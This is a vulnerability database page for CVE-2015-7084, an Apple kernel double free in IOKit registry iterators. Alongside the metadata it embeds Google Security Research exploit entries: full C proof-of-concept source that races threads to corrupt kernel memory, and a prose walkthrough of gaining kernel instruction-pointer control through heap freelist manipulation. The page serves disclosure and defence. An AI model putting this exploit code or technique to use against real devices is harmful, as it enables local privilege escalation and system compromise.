CVE-2015-7084 : Detail

CVE-2015-7084

Overflow
0.04%V3
Local
2015-12-11
10h00 +00:00
2017-09-12
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The kernel in Apple iOS before 9.2, OS X before 10.11.2, tvOS before 9.1, and watchOS before 2.1 allows local users to gain privileges or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-7083.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 39366

Publication date : 2016-01-27 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=598 The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function: kern_return_t is_io_registry_iterator_exit_entry( io_object_t iterator ) { bool didIt; CHECK( IORegistryIterator, iterator, iter ); didIt = iter->exitEntry(); return( didIt ? kIOReturnSuccess : kIOReturnNoDevice ); } exitExtry is defined as follows: bool IORegistryIterator::exitEntry( void ) { IORegCursor * gone; if( where->iter) { where->iter->release(); where->iter = 0; if( where->current)// && (where != &start)) where->current->release(); } if( where != &start) { gone = where; where = gone->next; IOFree( gone, sizeof(IORegCursor)); return( true); } else return( false); } There are multiple concurrency hazards here; for example a double free of where if two threads enter at the same time. These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes on OS X and iOS. Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2 Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro repro: while true; do ./ioparallel_regiter; done */ // ianbeer // clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit /* OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function: kern_return_t is_io_registry_iterator_exit_entry( io_object_t iterator ) { bool didIt; CHECK( IORegistryIterator, iterator, iter ); didIt = iter->exitEntry(); return( didIt ? kIOReturnSuccess : kIOReturnNoDevice ); } exitExtry is defined as follows: bool IORegistryIterator::exitEntry( void ) { IORegCursor * gone; if( where->iter) { where->iter->release(); where->iter = 0; if( where->current)// && (where != &start)) where->current->release(); } if( where != &start) { gone = where; where = gone->next; IOFree( gone, sizeof(IORegCursor)); return( true); } else return( false); } There are multiple concurrency hazards here; for example a double free of where if two threads enter at the same time. These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes on OS X and iOS. Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2 Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro repro: while true; do ./ioparallel_regiter; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> int start = 0; void exit_it(io_iterator_t iter) { IORegistryIteratorExitEntry(iter); } void go(void* arg){ while(start == 0){;} usleep(1); exit_it(*(io_iterator_t*)arg); } int main(int argc, char** argv) { kern_return_t err; io_iterator_t iter; err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter); if (err != KERN_SUCCESS) { printf("can't create reg iterator\n"); return 0; } IORegistryIteratorEnterEntry(iter); pthread_t t; io_connect_t arg = iter; pthread_create(&t, NULL, (void*) go, (void*) &arg); usleep(100000); start = 1; exit_it(iter); pthread_join(t, NULL); return 0; }
Exploit Database EDB-ID : 39357

Publication date : 2016-01-27 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=620 I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC which gets RIP on OS X. The same techniques should transfer smoothly to iOS :) The bug is here: void IORegistryIterator::reset( void ) { while( exitEntry()) {} if( done) { done->release(); done = 0; } where->current = root; options &= ~kIORegistryIteratorInvalidFlag; } We can call this from userspace via the IOIteratorReset method. done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads to both see the same value of done, one will free it but before it sets done to NULL the other will call ->release on the now free'd OSOrderedSet. How to get instruction pointer control? The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten with a valid pointer pointing to the last object freed to this zone. If we can control that object then the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base of all IOKit objects including OSOrderedSet.) This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control. I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) ) As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the vtable pointer. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (including) 9.1

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.11.1

Configuraton 0

Apple>>Watchos >> Version To (including) 2.0

Configuraton 0

Apple>>Tvos >> Version To (including) 9.0

References

https://support.apple.com/HT205635
Tags : x_refsource_CONFIRM
https://support.apple.com/HT205637
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1034344
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/39357/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/78719
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/39366/
Tags : exploit, x_refsource_EXPLOIT-DB
https://support.apple.com/HT205641
Tags : x_refsource_CONFIRM
https://support.apple.com/HT205640
Tags : x_refsource_CONFIRM